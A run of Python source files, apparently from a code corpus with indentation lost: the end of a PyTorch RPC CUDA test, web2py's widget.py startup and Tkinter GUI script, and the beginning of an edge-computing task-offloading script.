self.assertEqual(ret, 42)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_cuda_sparse_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: t, unwrapper=lambda v: v, sparse_tensor=True
)
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_list_with_cuda_sparse_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: [t], unwrapper=lambda v: v[0], sparse_tensor=True
)
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_custom_class_with_cuda_sparse_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: TensorWrapper(t), unwrapper=lambda v: v.tensor, sparse_tensor=True
)
|
widget.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
This file is part of the web2py Web Framework
Copyrighted by Massimo Di Pierro <mdipierro@cs.depaul.edu>
License: LGPLv3 (http://www.gnu.org/licenses/lgpl.html)
The widget is called from web2py.
"""
import datetime
import sys
import cStringIO
import time
import thread
import threading
import os
import socket
import signal
import math
import logging
import newcron
import getpass
import gluon.main as main
from gluon.fileutils import read_file, write_file, create_welcome_w2p
from gluon.settings import global_settings
from gluon.shell import run, test
from gluon.utils import is_valid_ip_address, is_loopback_ip_address, getipaddrinfo
ProgramName = 'web2py Web Framework'
ProgramAuthor = 'Created by Massimo Di Pierro, Copyright 2007-' + str(
datetime.datetime.now().year)
ProgramVersion = read_file('VERSION').strip()
ProgramInfo = '''%s
%s
%s''' % (ProgramName, ProgramAuthor, ProgramVersion)
if not sys.version[:3] in ['2.5', '2.6', '2.7']:
msg = 'Warning: web2py requires Python 2.5, 2.6 or 2.7 but you are running:\n%s'
msg = msg % sys.version
sys.stderr.write(msg)
logger = logging.getLogger("web2py")
def run_system_tests(options):
"""
Runs unittests for gluon.tests
"""
import subprocess
major_version = sys.version_info[0]
minor_version = sys.version_info[1]
if major_version == 2:
if minor_version in (5, 6):
sys.stderr.write("Python 2.5 or 2.6\n")
ret = subprocess.call(['unit2', '-v', 'gluon.tests'])
elif minor_version in (7,):
call_args = [sys.executable, '-m', 'unittest', '-v', 'gluon.tests']
if options.with_coverage:
try:
import coverage
coverage_config = os.environ.get(
"COVERAGE_PROCESS_START",
os.path.join('gluon', 'tests', 'coverage.ini'))
call_args = ['coverage', 'run', '--rcfile=%s' %
coverage_config,
'-m', 'unittest', '-v', 'gluon.tests']
except:
sys.stderr.write('Coverage was not installed, skipping\n')
sys.stderr.write("Python 2.7\n")
ret = subprocess.call(call_args)
else:
sys.stderr.write("unknown python 2.x version\n")
ret = 256
else:
sys.stderr.write("Only Python 2.x supported.\n")
ret = 256
sys.exit(ret and 1)
class IO(object):
""" """
def __init__(self):
""" """
self.buffer = cStringIO.StringIO()
def write(self, data):
""" """
sys.__stdout__.write(data)
if hasattr(self, 'callback'):
self.callback(data)
else:
self.buffer.write(data)
def get_url(host, path='/', proto='http', port=80):
if ':' in host:
host = '[%s]' % host
else:
host = host.replace('0.0.0.0', '127.0.0.1')
if path.startswith('/'):
path = path[1:]
if proto.endswith(':'):
proto = proto[:-1]
if not port or port == 80:
port = ''
else:
port = ':%s' % port
return '%s://%s%s/%s' % (proto, host, port, path)
def start_browser(url, startup=False):
if startup:
print 'please visit:'
print '\t', url
print 'starting browser...'
try:
import webbrowser
webbrowser.open(url)
except:
print 'warning: unable to detect your browser'
class web2pyDialog(object):
""" Main window dialog """
def __init__(self, root, options):
""" web2pyDialog constructor """
import Tkinter
import tkMessageBox
bg_color = 'white'
root.withdraw()
self.root = Tkinter.Toplevel(root, bg=bg_color)
self.root.resizable(0,0)
self.root.title(ProgramName)
self.options = options
self.scheduler_processes = {}
self.menu = Tkinter.Menu(self.root)
servermenu = Tkinter.Menu(self.menu, tearoff=0)
httplog = os.path.join(self.options.folder, 'httpserver.log')
iconphoto = os.path.join('extras','icons','web2py.gif')
if os.path.exists(iconphoto):
img = Tkinter.PhotoImage(file=iconphoto)
self.root.tk.call('wm', 'iconphoto', self.root._w, img)
# Building the Menu
item = lambda: start_browser(httplog)
servermenu.add_command(label='View httpserver.log',
command=item)
servermenu.add_command(label='Quit (pid:%i)' % os.getpid(),
command=self.quit)
self.menu.add_cascade(label='Server', menu=servermenu)
self.pagesmenu = Tkinter.Menu(self.menu, tearoff=0)
self.menu.add_cascade(label='Pages', menu=self.pagesmenu)
#scheduler menu
self.schedmenu = Tkinter.Menu(self.menu, tearoff=0)
self.menu.add_cascade(label='Scheduler', menu=self.schedmenu)
#start and register schedulers from options
self.update_schedulers(start=True)
helpmenu = Tkinter.Menu(self.menu, tearoff=0)
# Home Page
item = lambda: start_browser('http://www.web2py.com/')
helpmenu.add_command(label='Home Page',
command=item)
# About
item = lambda: tkMessageBox.showinfo('About web2py', ProgramInfo)
helpmenu.add_command(label='About',
command=item)
self.menu.add_cascade(label='Info', menu=helpmenu)
self.root.config(menu=self.menu)
if options.taskbar:
self.root.protocol('WM_DELETE_WINDOW',
lambda: self.quit(True))
else:
self.root.protocol('WM_DELETE_WINDOW', self.quit)
sticky = Tkinter.NW
# Prepare the logo area
self.logoarea = Tkinter.Canvas(self.root,
background=bg_color,
width=300,
height=300)
self.logoarea.grid(row=0, column=0, columnspan=4, sticky=sticky)
self.logoarea.after(1000, self.update_canvas)
logo = os.path.join('extras','icons','splashlogo.gif')
if os.path.exists(logo):
img = Tkinter.PhotoImage(file=logo)
pnl = Tkinter.Label(self.logoarea, image=img, background=bg_color, bd=0)
pnl.pack(side='top', fill='both', expand='yes')
# Prevent garbage collection of img
pnl.image = img
# Prepare the banner area
self.bannerarea = Tkinter.Canvas(self.root,
bg=bg_color,
width=300,
height=300)
self.bannerarea.grid(row=1, column=1, columnspan=2, sticky=sticky)
Tkinter.Label(self.bannerarea, anchor=Tkinter.N,
text=str(ProgramVersion + "\n" + ProgramAuthor),
font=('Helvetica', 11), justify=Tkinter.CENTER,
foreground='#195866', background=bg_color,
height=3).pack( side='top',
fill='both',
expand='yes')
self.bannerarea.after(1000, self.update_canvas)
# IP
Tkinter.Label(self.root,
text='Server IP:', bg=bg_color,
justify=Tkinter.RIGHT).grid(row=4,
column=1,
sticky=sticky)
self.ips = {}
self.selected_ip = Tkinter.StringVar()
row = 4
ips = [('127.0.0.1', 'Local (IPv4)')] + \
([('::1', 'Local (IPv6)')] if socket.has_ipv6 else []) + \
[(ip, 'Public') for ip in options.ips] + \
[('0.0.0.0', 'Public')]
for ip, legend in ips:
self.ips[ip] = Tkinter.Radiobutton(
self.root, bg=bg_color, highlightthickness=0,
selectcolor='light grey', width=30,
anchor=Tkinter.W, text='%s (%s)' % (legend, ip),
justify=Tkinter.LEFT,
variable=self.selected_ip, value=ip)
self.ips[ip].grid(row=row, column=2, sticky=sticky)
if row == 4:
self.ips[ip].select()
row += 1
shift = row
# Port
Tkinter.Label(self.root,
text='Server Port:', bg=bg_color,
justify=Tkinter.RIGHT).grid(row=shift,
column=1, pady=10,
sticky=sticky)
self.port_number = Tkinter.Entry(self.root)
self.port_number.insert(Tkinter.END, self.options.port)
self.port_number.grid(row=shift, column=2, sticky=sticky, pady=10)
# Password
Tkinter.Label(self.root,
text='Choose Password:', bg=bg_color,
justify=Tkinter.RIGHT).grid(row=shift + 1,
column=1,
sticky=sticky)
self.password = Tkinter.Entry(self.root, show='*')
self.password.bind('<Return>', lambda e: self.start())
self.password.focus_force()
self.password.grid(row=shift + 1, column=2, sticky=sticky)
# Prepare the canvas
self.canvas = Tkinter.Canvas(self.root,
width=400,
height=100,
bg='black')
self.canvas.grid(row=shift + 2, column=1, columnspan=2, pady=5,
sticky=sticky)
self.canvas.after(1000, self.update_canvas)
# Prepare the frame
frame = Tkinter.Frame(self.root)
frame.grid(row=shift + 3, column=1, columnspan=2, pady=5,
sticky=sticky)
# Start button
self.button_start = Tkinter.Button(frame,
text='start server',
command=self.start)
self.button_start.grid(row=0, column=0, sticky=sticky)
# Stop button
self.button_stop = Tkinter.Button(frame,
text='stop server',
command=self.stop)
self.button_stop.grid(row=0, column=1, sticky=sticky)
self.button_stop.configure(state='disabled')
if options.taskbar:
import gluon.contrib.taskbar_widget
self.tb = gluon.contrib.taskbar_widget.TaskBarIcon()
self.checkTaskBar()
if options.password != '<ask>':
self.password.insert(0, options.password)
self.start()
self.root.withdraw()
else:
self.tb = None
def update_schedulers(self, start=False):
apps = []
available_apps = [arq for arq in os.listdir('applications/')]
available_apps = [arq for arq in available_apps
if os.path.exists(
'applications/%s/models/scheduler.py' % arq)]
if start:
#the widget takes care of starting the scheduler
if self.options.scheduler and self.options.with_scheduler:
apps = [app.strip() for app
in self.options.scheduler.split(',')
if app in available_apps]
for app in apps:
self.try_start_scheduler(app)
#reset the menu
self.schedmenu.delete(0, len(available_apps))
for arq in available_apps:
if arq not in self.scheduler_processes:
item = lambda u = arq: self.try_start_scheduler(u)
self.schedmenu.add_command(label="start %s" % arq,
command=item)
if arq in self.scheduler_processes:
item = lambda u = arq: self.try_stop_scheduler(u)
self.schedmenu.add_command(label="stop %s" % arq,
command=item)
def start_schedulers(self, app):
try:
from multiprocessing import Process
except:
sys.stderr.write('Sorry, -K only supported for python 2.6-2.7\n')
return
code = "from gluon import current;current._scheduler.loop()"
print 'starting scheduler from widget for "%s"...' % app
args = (app, True, True, None, False, code)
logging.getLogger().setLevel(self.options.debuglevel)
p = Process(target=run, args=args)
self.scheduler_processes[app] = p
self.update_schedulers()
print "Currently running %s scheduler processes" % (
len(self.scheduler_processes))
p.start()
print "Processes started"
def try_stop_scheduler(self, app):
if app in self.scheduler_processes:
p = self.scheduler_processes[app]
del self.scheduler_processes[app]
p.terminate()
p.join()
self.update_schedulers()
def try_start_scheduler(self, app):
if app not in self.scheduler_processes:
t = threading.Thread(target=self.start_schedulers, args=(app,))
t.start()
def checkTaskBar(self):
""" Check taskbar status """
if self.tb.status:
if self.tb.status[0] == self.tb.EnumStatus.QUIT:
self.quit()
elif self.tb.status[0] == self.tb.EnumStatus.TOGGLE:
if self.root.state() == 'withdrawn':
self.root.deiconify()
else:
self.root.withdraw()
elif self.tb.status[0] == self.tb.EnumStatus.STOP:
self.stop()
elif self.tb.status[0] == self.tb.EnumStatus.START:
self.start()
elif self.tb.status[0] == self.tb.EnumStatus.RESTART:
self.stop()
self.start()
del self.tb.status[0]
self.root.after(1000, self.checkTaskBar)
def update(self, text):
""" Update app text """
try:
self.text.configure(state='normal')
self.text.insert('end', text)
self.text.configure(state='disabled')
except:
pass # ## this should only happen in case app is destroyed
def connect_pages(self):
""" Connect pages """
#reset the menu
available_apps = [arq for arq in os.listdir('applications/')
if os.path.exists(
'applications/%s/__init__.py' % arq)]
self.pagesmenu.delete(0, len(available_apps))
for arq in available_apps:
url = self.url + arq
self.pagesmenu.add_command(
label=url, command=lambda u=url: start_browser(u))
def quit(self, justHide=False):
""" Finish the program execution """
if justHide:
self.root.withdraw()
else:
try:
scheds = self.scheduler_processes.keys()
for t in scheds:
self.try_stop_scheduler(t)
except:
pass
try:
newcron.stopcron()
except:
pass
try:
self.server.stop()
except:
pass
try:
self.tb.Destroy()
except:
pass
self.root.destroy()
sys.exit(0)
def error(self, message):
""" Show error message """
import tkMessageBox
tkMessageBox.showerror('web2py start server', message)
def start(self):
""" Start web2py server """
password = self.password.get()
if not password:
pass #self.error('no password, no web admin interface')
ip = self.selected_ip.get()
if not is_valid_ip_address(ip):
return self.error('invalid host ip address')
try:
port = int(self.port_number.get())
except:
return self.error('invalid port number')
# Check for non default value for ssl inputs
if (len(self.options.ssl_certificate) > 0 or
len(self.options.ssl_private_key) > 0):
proto = 'https'
else:
proto = 'http'
self.url = get_url(ip, proto=proto, port=port)
self.connect_pages()
self.button_start.configure(state='disabled')
try:
options = self.options
req_queue_size = options.request_queue_size
self.server = main.HttpServer(
ip,
port,
password,
pid_filename=options.pid_filename,
log_filename=options.log_filename,
profiler_dir=options.profiler_dir,
ssl_certificate=options.ssl_certificate,
ssl_private_key=options.ssl_private_key,
ssl_ca_certificate=options.ssl_ca_certificate,
min_threads=options.minthreads,
max_threads=options.maxthreads,
server_name=options.server_name,
request_queue_size=req_queue_size,
timeout=options.timeout,
shutdown_timeout=options.shutdown_timeout,
path=options.folder,
interfaces=options.interfaces)
thread.start_new_thread(self.server.start, ())
except Exception, e:
self.button_start.configure(state='normal')
return self.error(str(e))
if not self.server_ready():
self.button_start.configure(state='normal')
return
self.button_stop.configure(state='normal')
if not options.taskbar:
thread.start_new_thread(
start_browser, (get_url(ip, proto=proto, port=port), True))
self.password.configure(state='readonly')
[ip.configure(state='disabled') for ip in self.ips.values()]
self.port_number.configure(state='readonly')
if self.tb:
self.tb.SetServerRunning()
def server_ready(self):
for listener in self.server.server.listeners:
if listener.ready:
return True
return False
def stop(self):
""" Stop web2py server """
self.button_start.configure(state='normal')
self.button_stop.configure(state='disabled')
self.password.configure(state='normal')
[ip.configure(state='normal') for ip in self.ips.values()]
self.port_number.configure(state='normal')
self.server.stop()
if self.tb:
self.tb.SetServerStopped()
def update_canvas(self):
""" Update canvas """
try:
t1 = os.path.getsize('httpserver.log')
except:
self.canvas.after(1000, self.update_canvas)
return
try:
fp = open('httpserver.log', 'r')
fp.seek(self.t0)
data = fp.read(t1 - self.t0)
fp.close()
value = self.p0[1:] + [10 + 90.0 / math.sqrt(1 + data.count('\n'))]
self.p0 = value
for i in xrange(len(self.p0) - 1):
c = self.canvas.coords(self.q0[i])
self.canvas.coords(self.q0[i],
(c[0],
self.p0[i],
c[2],
self.p0[i + 1]))
self.t0 = t1
except BaseException:
self.t0 = time.time()
self.t0 = t1
self.p0 = [100] * 400
self.q0 = [self.canvas.create_line(i, 100, i + 1, 100,
fill='green') for i in xrange(len(self.p0) - 1)]
self.canvas.after(1000, self.update_canvas)
def console():
""" Defines the behavior of the console web2py execution """
import optparse
import textwrap
usage = "python web2py.py"
description = """\
web2py Web Framework startup script.
ATTENTION: unless a password is specified (-a 'passwd') web2py will
attempt to run a GUI. In this case command line options are ignored."""
description = textwrap.dedent(description)
parser = optparse.OptionParser(
usage, None, optparse.Option, ProgramVersion)
parser.description = description
msg = ('IP address of the server (e.g., 127.0.0.1 or ::1); '
'Note: This value is ignored when using the \'interfaces\' option.')
parser.add_option('-i',
'--ip',
default='127.0.0.1',
dest='ip',
help=msg)
parser.add_option('-p',
'--port',
default='8000',
dest='port',
type='int',
help='port of server (8000)')
msg = ('password to be used for administration '
'(use -a "<recycle>" to reuse the last password))')
parser.add_option('-a',
'--password',
default='<ask>',
dest='password',
help=msg)
parser.add_option('-c',
'--ssl_certificate',
default='',
dest='ssl_certificate',
help='file that contains ssl certificate')
parser.add_option('-k',
'--ssl_private_key',
default='',
dest='ssl_private_key',
help='file that contains ssl private key')
msg = ('Use this file containing the CA certificate to validate X509 '
'certificates from clients')
parser.add_option('--ca-cert',
action='store',
dest='ssl_ca_certificate',
default=None,
help=msg)
parser.add_option('-d',
'--pid_filename',
default='httpserver.pid',
dest='pid_filename',
help='file to store the pid of the server')
parser.add_option('-l',
'--log_filename',
default='httpserver.log',
dest='log_filename',
help='file to log connections')
parser.add_option('-n',
'--numthreads',
default=None,
type='int',
dest='numthreads',
help='number of threads (deprecated)')
parser.add_option('--minthreads',
default=None,
type='int',
dest='minthreads',
help='minimum number of server threads')
parser.add_option('--maxthreads',
default=None,
type='int',
dest='maxthreads',
help='maximum number of server threads')
parser.add_option('-s',
'--server_name',
default=socket.gethostname(),
dest='server_name',
help='server name for the web server')
msg = 'max number of queued requests when server unavailable'
parser.add_option('-q',
'--request_queue_size',
default='5',
type='int',
dest='request_queue_size',
help=msg)
parser.add_option('-o',
'--timeout',
default='10',
type='int',
dest='timeout',
help='timeout for individual request (10 seconds)')
parser.add_option('-z',
'--shutdown_timeout',
default='5',
type='int',
dest='shutdown_timeout',
help='timeout on shutdown of server (5 seconds)')
parser.add_option('--socket-timeout',
default=5,
type='int',
dest='socket_timeout',
help='timeout for socket (5 second)')
parser.add_option('-f',
'--folder',
default=os.getcwd(),
dest='folder',
help='folder from which to run web2py')
parser.add_option('-v',
'--verbose',
action='store_true',
dest='verbose',
default=False,
help='increase --test verbosity')
parser.add_option('-Q',
'--quiet',
action='store_true',
dest='quiet',
default=False,
help='disable all output')
msg = ('set debug output level (0-100, 0 means all, 100 means none; '
'default is 30)')
parser.add_option('-D',
'--debug',
dest='debuglevel',
default=30,
type='int',
help=msg)
msg = ('run web2py in interactive shell or IPython (if installed) with '
'specified appname (if app does not exist it will be created). '
'APPNAME like a/c/f (c,f optional)')
parser.add_option('-S',
'--shell',
dest='shell',
metavar='APPNAME',
help=msg)
msg = ('run web2py in interactive shell or bpython (if installed) with '
'specified appname (if app does not exist it will be created).\n'
'Use combined with --shell')
parser.add_option('-B',
'--bpython',
action='store_true',
default=False,
dest='bpython',
help=msg)
msg = 'only use plain python shell; should be used with --shell option'
parser.add_option('-P',
'--plain',
action='store_true',
default=False,
dest='plain',
help=msg)
msg = ('auto import model files; default is False; should be used '
'with --shell option')
parser.add_option('-M',
'--import_models',
action='store_true',
default=False,
dest='import_models',
help=msg)
msg = ('run PYTHON_FILE in web2py environment; '
'should be used with --shell option')
parser.add_option('-R',
'--run',
dest='run',
metavar='PYTHON_FILE',
default='',
help=msg)
msg = ('run scheduled tasks for the specified apps: expects a list of '
'app names as -K app1,app2,app3 '
'or a list of app:groups as -K app1:group1:group2,app2:group1 '
'to override specific group_names. (only strings, no spaces '
'allowed. Requires a scheduler defined in the models')
parser.add_option('-K',
'--scheduler',
dest='scheduler',
default=None,
help=msg)
msg = 'run schedulers alongside webserver, needs -K app1 and -a too'
parser.add_option('-X',
'--with-scheduler',
action='store_true',
default=False,
dest='with_scheduler',
help=msg)
msg = ('run doctests in web2py environment; '
'TEST_PATH like a/c/f (c,f optional)')
parser.add_option('-T',
'--test',
dest='test',
metavar='TEST_PATH',
default=None,
help=msg)
msg = 'trigger a cron run manually; usually invoked from a system crontab'
parser.add_option('-C',
'--cron',
action='store_true',
dest='extcron',
default=False,
help=msg)
msg = 'triggers the use of softcron'
parser.add_option('--softcron',
action='store_true',
dest='softcron',
default=False,
help=msg)
parser.add_option('-Y',
'--run-cron',
action='store_true',
dest='runcron',
default=False,
help='start the background cron process')
parser.add_option('-J',
'--cronjob',
action='store_true',
dest='cronjob',
default=False,
help='identify cron-initiated command')
parser.add_option('-L',
'--config',
dest='config',
default='',
help='config file')
parser.add_option('-F',
'--profiler',
dest='profiler_dir',
default=None,
help='profiler dir')
parser.add_option('-t',
'--taskbar',
action='store_true',
dest='taskbar',
default=False,
help='use web2py gui and run in taskbar (system tray)')
parser.add_option('',
'--nogui',
action='store_true',
default=False,
dest='nogui',
help='text-only, no GUI')
msg = ('should be followed by a list of arguments to be passed to script, '
'to be used with -S, -A must be the last option')
parser.add_option('-A',
'--args',
action='store',
dest='args',
default=None,
help=msg)
parser.add_option('--no-banner',
action='store_true',
default=False,
dest='nobanner',
help='Do not print header banner')
msg = ('listen on multiple addresses: '
'"ip1:port1:key1:cert1:ca_cert1;ip2:port2:key2:cert2:ca_cert2;..." '
'(:key:cert:ca_cert optional; no spaces; IPv6 addresses must be in '
'square [] brackets)')
parser.add_option('--interfaces',
action='store',
dest='interfaces',
default=None,
help=msg)
msg = 'runs web2py tests'
parser.add_option('--run_system_tests',
action='store_true',
dest='run_system_tests',
default=False,
help=msg)
msg = ('adds coverage reporting (needs --run_system_tests), '
'python 2.7 and the coverage module installed. '
'You can alter the default path setting the environmental '
'var "COVERAGE_PROCESS_START". '
'By default it takes gluon/tests/coverage.ini')
parser.add_option('--with_coverage',
action='store_true',
dest='with_coverage',
default=False,
help=msg)
if '-A' in sys.argv:
k = sys.argv.index('-A')
elif '--args' in sys.argv:
k = sys.argv.index('--args')
else:
k = len(sys.argv)
sys.argv, other_args = sys.argv[:k], sys.argv[k + 1:]
(options, args) = parser.parse_args()
options.args = [options.run] + other_args
global_settings.cmd_options = options
global_settings.cmd_args = args
try:
options.ips = list(set( # no duplicates
[addrinfo[4][0] for addrinfo in getipaddrinfo(socket.getfqdn())
if not is_loopback_ip_address(addrinfo=addrinfo)]))
except socket.gaierror:
options.ips = []
if options.run_system_tests:
run_system_tests(options)
if options.quiet:
capture = cStringIO.StringIO()
sys.stdout = capture
logger.setLevel(logging.CRITICAL + 1)
else:
logger.setLevel(options.debuglevel)
if options.config[-3:] == '.py':
options.config = options.config[:-3]
if options.cronjob:
global_settings.cronjob = True # tell the world
options.plain = True # cronjobs use a plain shell
options.nobanner = True
options.nogui = True
options.folder = os.path.abspath(options.folder)
# accept --interfaces in the form
# "ip1:port1:key1:cert1:ca_cert1;[ip2]:port2;ip3:port3:key3:cert3"
# (no spaces; optional key:cert indicate SSL)
if isinstance(options.interfaces, str):
interfaces = options.interfaces.split(';')
options.interfaces = []
for interface in interfaces:
if interface.startswith('['): # IPv6
ip, if_remainder = interface.split(']', 1)
ip = ip[1:]
if_remainder = if_remainder[1:].split(':')
if_remainder[0] = int(if_remainder[0]) # numeric port
options.interfaces.append(tuple([ip] + if_remainder))
else: # IPv4
interface = interface.split(':')
interface[1] = int(interface[1]) # numeric port
options.interfaces.append(tuple(interface))
# accepts --scheduler in the form
# "app:group1,group2,app2:group1"
scheduler = []
options.scheduler_groups = None
if isinstance(options.scheduler, str):
if ':' in options.scheduler:
for opt in options.scheduler.split(','):
scheduler.append(opt.split(':'))
options.scheduler = ','.join([app[0] for app in scheduler])
options.scheduler_groups = scheduler
if options.numthreads is not None and options.minthreads is None:
options.minthreads = options.numthreads # legacy
create_welcome_w2p()
if not options.cronjob:
# If we have the applications package or if we should upgrade
if not os.path.exists('applications/__init__.py'):
write_file('applications/__init__.py', '')
return options, args
def check_existent_app(options, appname):
if os.path.isdir(os.path.join(options.folder, 'applications', appname)):
return True
def get_code_for_scheduler(app, options):
if len(app) == 1 or app[1] is None:
code = "from gluon import current;current._scheduler.loop()"
else:
code = "from gluon import current;current._scheduler.group_names = ['%s'];"
code += "current._scheduler.loop()"
code = code % ("','".join(app[1:]))
app_ = app[0]
if not check_existent_app(options, app_):
print "Application '%s' doesn't exist, skipping" % app_
return None, None
return app_, code
def start_schedulers(options):
try:
from multiprocessing import Process
except:
sys.stderr.write('Sorry, -K only supported for python 2.6-2.7\n')
return
processes = []
apps = [(app.strip(), None) for app in options.scheduler.split(',')]
if options.scheduler_groups:
apps = options.scheduler_groups
code = "from gluon import current;current._scheduler.loop()"
logging.getLogger().setLevel(options.debuglevel)
if len(apps) == 1 and not options.with_scheduler:
app_, code = get_code_for_scheduler(apps[0], options)
if not app_:
return
print 'starting single-scheduler for "%s"...' % app_
run(app_, True, True, None, False, code)
return
for app in apps:
app_, code = get_code_for_scheduler(app, options)
if not app_:
continue
print 'starting scheduler for "%s"...' % app_
args = (app_, True, True, None, False, code)
p = Process(target=run, args=args)
processes.append(p)
print "Currently running %s scheduler processes" % (len(processes))
p.start()
##to avoid bashing the db at the same time
time.sleep(0.7)
print "Processes started"
for p in processes:
try:
p.join()
except (KeyboardInterrupt, SystemExit):
print "Processes stopped"
except:
p.terminate()
p.join()
def start(cron=True):
""" Start server """
# ## get command line arguments
(options, args) = console()
if not options.nobanner:
print ProgramName
print ProgramAuthor
print ProgramVersion
from dal import DRIVERS
if not options.nobanner:
print 'Database drivers available: %s' % ', '.join(DRIVERS)
# ## if -L load options from options.config file
if options.config:
try:
options2 = __import__(options.config, {}, {}, '')
except Exception:
try:
# Jython doesn't like the extra stuff
options2 = __import__(options.config)
except Exception:
print 'Cannot import config file [%s]' % options.config
sys.exit(1)
for key in dir(options2):
if hasattr(options, key):
setattr(options, key, getattr(options2, key))
logfile0 = os.path.join('extras','examples','logging.example.conf')
if not os.path.exists('logging.conf') and os.path.exists(logfile0):
import shutil
sys.stdout.write("Copying logging.conf.example to logging.conf ... ")
shutil.copyfile('logging.example.conf', logfile0)
sys.stdout.write("OK\n")
# ## if -T run doctests (no cron)
if hasattr(options, 'test') and options.test:
test(options.test, verbose=options.verbose)
return
# ## if -S start interactive shell (also no cron)
if options.shell:
if not options.args is None:
sys.argv[:] = options.args
run(options.shell, plain=options.plain, bpython=options.bpython,
import_models=options.import_models, startfile=options.run,
cronjob=options.cronjob)
return
# ## if -C start cron run (extcron) and exit
# ## -K specifies optional apps list (overloading scheduler)
if options.extcron:
logger.debug('Starting extcron...')
global_settings.web2py_crontype = 'external'
if options.scheduler: # -K
apps = [app.strip() for app in options.scheduler.split(
',') if check_existent_app(options, app.strip())]
else:
apps = None
extcron = newcron.extcron(options.folder, apps=apps)
extcron.start()
extcron.join()
return
# ## if -K
if options.scheduler and not options.with_scheduler:
try:
start_schedulers(options)
except KeyboardInterrupt:
pass
return
# ## if -H cron is enabled in this *process*
# ## if --softcron use softcron
# ## use hardcron in all other cases
if cron and options.runcron and options.softcron:
print 'Using softcron (but this is not very efficient)'
global_settings.web2py_crontype = 'soft'
elif cron and options.runcron:
logger.debug('Starting hardcron...')
global_settings.web2py_crontype = 'hard'
newcron.hardcron(options.folder).start()
# ## if no password provided and havetk start Tk interface
# ## or start interface if we want to put in taskbar (system tray)
try:
options.taskbar
except:
options.taskbar = False
if options.taskbar and os.name != 'nt':
print 'Error: taskbar not supported on this platform'
sys.exit(1)
root = None
if not options.nogui and options.password=='<ask>':
try:
import Tkinter
havetk = True
try:
root = Tkinter.Tk()
except:
pass
except (ImportError, OSError):
logger.warn(
'GUI not available because Tk library is not installed')
havetk = False
options.nogui = True
if root:
root.focus_force()
# Mac OS X - make the GUI window rise to the top
if os.path.exists("/usr/bin/osascript"):
applescript = """
tell application "System Events"
set proc to first process whose unix id is %d
set frontmost of proc to true
end tell
""" % (os.getpid())
os.system("/usr/bin/osascript -e '%s'" % applescript)
master = web2pyDialog(root, options)
signal.signal(signal.SIGTERM, lambda a, b: master.quit())
try:
root.mainloop()
except:
master.quit()
sys.exit()
# ## if no tk and no password, ask for a password
if not root and options.password == '<ask>':
options.password = getpass.getpass('choose a password:')
if not options.password and not options.nobanner:
print 'no password, no admin interface'
# ##-X (if no tk, the widget takes care of it himself)
if not root and options.scheduler and options.with_scheduler:
t = threading.Thread(target=start_schedulers, args=(options,))
t.start()
# ## start server
# Use first interface IP and port if interfaces specified, since the
# interfaces option overrides the IP (and related) options.
if not options.interfaces:
(ip, port) = (options.ip, int(options.port))
else:
first_if = options.interfaces[0]
(ip, port) = first_if[0], first_if[1]
# Check for non default value for ssl inputs
if (len(options.ssl_certificate) > 0) or (len(options.ssl_private_key) > 0):
proto = 'https'
else:
proto = 'http'
url = get_url(ip, proto=proto, port=port)
if not options.nobanner:
print 'please visit:'
print '\t', url
print 'use "kill -SIGTERM %i" to shutdown the web2py server' % os.getpid()
# enhance linecache.getline (used by debugger) to look at the source file
# if the line was not found (under py2exe & when file was modified)
import linecache
py2exe_getline = linecache.getline
def getline(filename, lineno, *args, **kwargs):
line = py2exe_getline(filename, lineno, *args, **kwargs)
if not line:
try:
f = open(filename, "r")
try:
for i, line in enumerate(f):
if lineno == i + 1:
break
else:
line = None
finally:
f.close()
except (IOError, OSError):
line = None
return line
linecache.getline = getline
server = main.HttpServer(ip=ip,
port=port,
password=options.password,
pid_filename=options.pid_filename,
log_filename=options.log_filename,
profiler_dir=options.profiler_dir,
ssl_certificate=options.ssl_certificate,
ssl_private_key=options.ssl_private_key,
ssl_ca_certificate=options.ssl_ca_certificate,
min_threads=options.minthreads,
max_threads=options.maxthreads,
server_name=options.server_name,
request_queue_size=options.request_queue_size,
timeout=options.timeout,
socket_timeout=options.socket_timeout,
shutdown_timeout=options.shutdown_timeout,
path=options.folder,
interfaces=options.interfaces)
try:
server.start()
except KeyboardInterrupt:
server.stop()
try:
t.join()
except:
pass
logging.shutdown()
|
7_rms_wound_wait_gui.py | from functools import reduce
from sys import *
import numpy as np
import random as r
import ping_code as pc
import socket
import struct
import subprocess as sp
import threading
from threading import Thread
import ast
import time
import datetime as dt
import os
import getpass as gp
import psutil
from drawnow import *
from matplotlib import pyplot as plt
from netifaces import interfaces, ifaddresses, AF_INET
import paho.mqtt.client as mqtt
import smtplib
import config
hosts = {} # {hostname: ip}
_tasks = {'t1': {'wcet': 3, 'period': 20, 'deadline': 15},
't2': {'wcet': 1, 'period': 5, 'deadline': 4},
't3': {'wcet': 2, 'period': 10, 'deadline': 8},
't4': {'wcet': 1, 'period': 10, 'deadline': 9},
't5': {'wcet': 3, 'period': 15, 'deadline': 12}
}
# mat = {'p0': ['cpu', 'mem', 'storage']}
_need = {
't1': [7, 4, 3],
't2': [1, 2, 2],
't3': [6, 0, 0],
't4': [0, 1, 1],
't5': [4, 3, 1]
}
allocation = {
't1': [0, 1, 0],
't2': [2, 0, 0],
't3': [3, 0, 2],
't4': [2, 1, 1],
't5': [0, 0, 2]
}
test = []
_time = []
color_code = ['orange', 'brown', 'purple', 'pink', 'blue']
style = ['g--^', 'r:o', 'b-.s', 'm--*', 'k-.>', 'c-.s']
mec_waiting_time = {} # {ip : [moving (waiting time + rtt)]}
offload_register = {} # {task: host_ip} to keep track of tasks sent to mec for offload
reoffload_list = [[], {}]
discovering = 0
mec_rtt = {} # {ip: [RTT]}
thread_record = [] # keeps track of threads
prev_t = 0 # variable for cpu util
_cpu = [] # cpu plot list
_off_mec = 0 # used to keep a count of tasks offloaded from local mec to another mec
_off_cloud = 0 # used to keep a count of tasks offloaded to cloud
_loc = 0 # used to keep a count of tasks executed locally
_inward_mec = 0 # used to keep a count of tasks offloaded from another mec to local mec
deadlock = [1] # keeps count of how many deadlock is resolved
_pos = 0
received_task_queue = [] # [[(task_list,wait_time), host_ip], ....]
_port_ = 64000
cloud_register = {} # ={client_id:client_ip} keeps address of task offloaded to cloud
cloud_port = 63000
memory = []
stop = 0
t_track = 1
